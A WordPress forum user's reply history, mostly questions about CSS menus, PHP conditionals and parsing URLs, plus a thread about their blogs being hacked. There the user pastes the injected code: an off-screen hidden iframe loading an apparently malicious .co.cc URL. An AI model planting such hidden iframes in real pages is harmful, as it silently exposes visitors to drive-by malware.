bremmerm
Forum Replies Created
-
Forum: Fixing WordPress
In reply to: Get List of Links for Current AuthorIs there not any way to list an Authors posts?
Forum: Fixing WordPress
In reply to: All wordpress blogs being HACKEDThanks for the info WeWatch
Forum: Fixing WordPress
In reply to: All wordpress blogs being HACKEDBedankt, mvandemar!
Forum: Fixing WordPress
In reply to: All wordpress blogs being HACKEDManual –
So if I have 4 blogs on a server, should I erase them all at the same time before uploading a fresh copy?
Forum: Fixing WordPress
In reply to: All wordpress blogs being HACKEDThat has happened to me a few times. I think the code is set to disapear and reactivate. But yeah I thought everything was good after I went to a couple sites and it was okay again. But now they are all down yet again..
Forum: Fixing WordPress
In reply to: All wordpress blogs being HACKEDMan. That is goin to take a lot of working deleting and uploading all the blogs..
Forum: Fixing WordPress
In reply to: All wordpress blogs being HACKEDHere is the code it places at the top of the websites:
<div style=”position: absolute; left: -1999px; top: -2999px;”><iframe src=”https://hdhj3skfskh.co.cc/QQkFBg0AAQ0MBA0DEkcJBQYNDAACBgwHBA==” width=”10″ height=”10″></iframe></div><!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.1//EN” “https://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd”>
and here is a link to one infected website: [Link removed] – This is a HUGE problem for business right now!
You may not want to visit the website, it may give off a virus.
*Note we have completely scanned our computers
Forum: Fixing WordPress
In reply to: New Menu SystemI changed to:
#nav #menu-main-menu > li#menu-item-31 > a{ background: none; border-left:none;}
Excellent work. Thank you for your help
Forum: Fixing WordPress
In reply to: New Menu SystemUsing the :
#nav #menu-main-menu > li:first-child { background: none; border-left:none;}
Had always worked previously.
I even tried
#nav #menu-main-menu > li:menu-item-31 { background: none; border-left:none;}
Forum: Plugins
In reply to: Where to edit the search mysql queryAnyone have a solutoin for this?
Forum: Fixing WordPress
In reply to: PHP Code help…simple if statementI figured it out pretty quick! I forgot about the ” ”
<?php if(is_home()) { echo " <div id=\"home-layout1\"> <div id=\"home-layout2\"> <div id=\"home-layout3\">"; } else { echo " <div id=\"sub-layout1\"> <div id=\"sub-layout2\"> <div id=\"sub-layout3\"> "; } ?>
Forum: Fixing WordPress
In reply to: Get current URL code?simple simple fix ?? Thank you alchymyth and everyone for your help. I will indeed have more questions in the future. But this one in particular is solved
Forum: Fixing WordPress
In reply to: Get current URL code?I ended up having to use alchymyth method. THanks for the code that worked great.
Another problem. I only want that type of title to show only on those pages. So I created the following:
<title> <?php $shortdesc = myTruncate2(curPageURL(), 46); $bits = explode('/',curPageURL()); $bit_nr = count($bits); $city = $bits[$bit_nr-1]; $state = $bits[$bit_nr-2]; if ($shortdesc = "https://www.sportsleaguepay.com/members/leagues") { print 'Sports Leagues in '; print_r( $city ); print ', '; print_r( $state ); } else { wp_title('«', true, 'right'); bloginfo('name'); } ?> </title>
The meta title show’s up great for the pages I want, but it also does the same thing for every page.
The site in question is:
https://www.sportsleaguepay.com/
An example page that looks great is:
https://www.sportsleaguepay.com/members/leagues/MT/MissoulaI must have something wrong with the code above…any help?
THanks!
Forum: Fixing WordPress
In reply to: Get current URL code?Thanks guys
t3102_,
Yes I see what you mean and after looking at it it does have a variable. I will try what you suggested and let you know if it works.
The codes I found were:
$city=trim(str_replace('%','',urldecode($_REQUEST['city']))); $state=trim(str_replace('%','',urldecode($_REQUEST['state'])));
Forum: Fixing WordPress
In reply to: Get current URL code?OKay….so i now know how to find the URL…
How would I then find the state abbreviation and the city in the URL:
https://www.examplesite.com/search/tx/dallas
(keep in mind it could be any state and city!)
I guess in non coding words I would tell it to remove https://www.examplesite.com/search/ – because that will be consistent. Then to take the next two letters and store them in (state). Then skip the “/” then take the next word and store them in (city) :
(City) , (State) Basketball Tournaments
Find Basketball tournaments in (City), (State). Join and participate in basketball leagues throughout the city of (City).
I have no idea what to type in google to find this solution